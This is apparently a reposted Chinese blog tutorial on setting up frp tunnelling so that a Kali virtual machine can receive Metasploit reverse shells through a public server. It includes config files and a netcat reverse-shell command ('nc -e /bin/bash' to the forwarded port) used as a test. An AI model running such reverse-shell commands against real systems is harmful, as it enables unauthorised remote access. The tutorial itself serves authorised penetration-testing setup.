frp内网穿透—将kali代理在公网中进行渗透测试

前言

由于工作常需要用到kali,但是公网服务器并没有安装kali镜像,本地只安装了kali虚拟机,而msf渗透时常常需要反弹shell到kali中,但内网中的kali并没有公网IP地址,因而可以通过frp工具将 内网中的服务 映射到 公网IP地址的端口中

从前的日色变得慢,车,马,邮件都慢。

Frp简介

frp 是一个高性能的反向代理应用,采用C/S架构(客户端/服务端),通过简单的配置能够将客户端中的tcp, udp, http, https 等协议隐射到服务端相应端口上,通过访问服务端对应的端口即能够访问到客户端对应的服务。
frp实现效果大致如下,通过访问公网服务器的某个端口即可访问到内网服务器中的某个服务
在这里插入图片描述

准备工具

为了完成frp内外穿透,你需要准备好如下资源/工具

  • 公网服务器,这里我用的是CentOS7.6
  • frp服务端/客户端工具,github下载
  • 内网服务器或本机,这里我用的是kali2020虚拟机

frp下载github链接
frp说明github链接
这里也提供amd64架构的网盘资源
链接:https://pan.baidu.com/s/1cLO2hI4t9wiJ4aAl0axUsw
提取码:qwer
frp工具服务端和客户端不需要分开下载,部署时选择服务端或客户端部署即可

实现内网穿透

frp服务端配置

首先将下载好的frp工具上传到服务器【这里我用的FinalShell可以直接上传文件】,如果不方便的话也可以用wget下载,tar命令解压如下:
在这里插入图片描述
修改frps.ini配置文件,我这里是将80端口的http服务、22端口的ssh服务和9002端口的tcp服务,用于kali反弹shell的监听端口 ,都分别进行映射,具体可以根据需要进行配置:

[common]
# 一、服务器的基本配置部分
# 7000 是FRP服务端口,可以改
bind_port = 7000
# dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
# 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 7500
# 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022
 
# 二、添加的映射端口
[common]
# FRP服务器的公网ip
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1

# FRP服务器的,服务端口,这个可以改,不过客户端的也要一起改才行。
server_port = 7000


# 三、转发端口:[test01]、[test02] 这些没有任何意义,就是大致描述这个端口作用。
# 每增加一个转发端口,复制下面的两行,然后将[]里面的和vhost_http_port_03改了就行了。
#[test01]
#vhost_http_port = 9001
 
#[test02]
#vhost_tcp_port = 1315
#转发端口配置,实际测试这里影响不大,主要取决于客户端的配置
vhost_http_port = 9001
vhost_ssh_port = 9002
vhost_tcp_port = 9003

启动frp服务端如下:
在这里插入图片描述
此时通过访问服务器的7500端口可以看到frp服务运行情况,用户名和密码为上面配置的dashboard_user和dashboard_pwd的值:

在这里插入图片描述
至此,frp服务端正常运行

frp客户端配置

同样的方式将frp工具上传到kali虚拟机中,这里要确保kali是能够正常联网的,同样用tar命令解压,配置frpc.ini文件如下:

扫描二维码关注公众号,回复: 15287906 查看本文章
# 客户端配置
[common]
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1
server_port = 7000          #frp服务端口要和服务端设定的一致
token = frpToken@admin2022  #token要和服务端一致



# 配置http服务,可用于小程序开发、远程调试等,如果没有可以不写下面的
[web]
type = http
local_ip = 0.0.0.0
local_port = 80   #本地需要映射的端口
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9001 #映射到服务端的端口

#kali ssh
[ssh]
type = tcp
local_ip = 0.0.0.0
local_port = 22
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9002  

#tcp msfconsole
[tcp]
type = tcp
local_ip = 0.0.0.0
local_port = 9003
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9003

kali上运行frp客户端如下,此时要确保frp服务端正常运行,看到我们配置的三个端口均正常映射,如果显示连接拒绝可以考虑在防火墙上放行对应端口
至此,服务端和客户端均正常配置

测试

HTTP服务测试

此时在kali上用python开启一个http服务进行测试

python3 -m http.server 80

http服务正常开启
在这里插入图片描述
通过访问我们设定的公网IP:对应端口即可看到kali上开启的HTTP服务
在这里插入图片描述
在7500端口的frp管理员界面也可以看到对应的frp映射链接
在这里插入图片描述

至此,我们可以通过访问公网IP的对应端口来访问内网服务器中对应的服务

ssh服务测试

首先确保kali上正常开启了ssh服务,且frp服务端和客户端正常启动
在这里插入图片描述
在7500端口的frp管理员界面也可以看到对应的frp映射链接,这里比较疑惑的是frp客户端和服务端都配置了ssh映射端口为9002,但是实际要根据这个管理端界面提供的端口来连接ssh
在这里插入图片描述
用连接ssh进行测试,可以看到通过4880端口成功登入ssh
在这里插入图片描述

反弹shell测试

在kali中利用msf工具时为了反弹shell常常需要设定本地监听端口,而虚拟机中的kali由于没有公网地址因此较难对公网中的服务器展开测试,通过frp代理很好的解决了这个问题
在上面的配置中,我配置了一个基于tcp的9003端口,映射到虚拟机kali的9003端口作为反弹shell的监听端口,这样就能够利用虚拟机kali对公网服务器进行测试,具体展开测试如下:
首先在kali上开启监听
在这里插入图片描述
接下来用另一台能联网的服务器反弹shell

nc -e /bin/bash 【frp服务器地址】 【frp映射TCP端口】
例:nc -e /bin/bash 1.1.1.1 9003

执行命令后成功在kali中接收到shell
在这里插入图片描述
当然这里也可以用msf生成payload进行测试,这里就不再继续演示

注意

利用frp穿透内网时需要注意,由于frp采用了C/S架构,因此用户对于frp服务端映射端口的访问,在客户端看来都是本地的访问,相当于客户端的frp来访问自己的服务,再将流量转发出去,总结就是frp客户端认为所有的访问均来自本地,不能知道真正的访问者IP,frp服务端能够看到"真正"的访问者IP,没准访问者也使用了代理
因此上面在访问HTTP或ssh时,kali虚拟机认为这些访问来自于本地的frp客户端,并不能知道真正的用户来自哪里,这对于frp客户端的安全策略将有更高的要求

若有其他疑问,欢迎评论区留言或与我联系~

猜你喜欢

转载自blog.csdn.net/monster663/article/details/126797109
今日推荐